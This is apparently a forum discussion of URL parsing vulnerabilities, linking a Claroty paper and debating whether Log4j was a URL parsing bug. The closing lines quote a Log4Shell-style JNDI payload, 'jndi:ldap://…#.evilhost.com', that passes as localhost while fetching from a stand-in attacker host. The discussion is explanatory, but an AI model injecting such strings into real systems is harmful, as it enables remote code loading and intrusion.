I did find a paper describing some vulnerabilities in popular URL parsing libraries, including urllib and urllib3. Blog post here:
https://claroty.com/team82/research/exploiting-url-parsing-c...
Paper here:
https://web-assets.claroty.com/exploiting-url-parsing-confus...
If you remember the Log4j vulnerability from a couple of years ago, that was an URL parsing bug.
I don't think that's a fair description of the issue.
The log4j vulnerability was that it specifically added JNDI support (https://issues.apache.org/jira/browse/LOG4J2-313) to property substitution (https://logging.apache.org/log4j/2.x/manual/configuration.ht...), which it would apply on logged messages. So it was a pretty literal feature of log4j. log4j would just pass the URL to JNDI for resolution, and substitute the result.
jndi:ldap://127.0.0.1#.evilhost.com:1389/a
is validated as 127.0.0.1, which may be whitelisted, but fetched from evilhost.com, which probably isn't.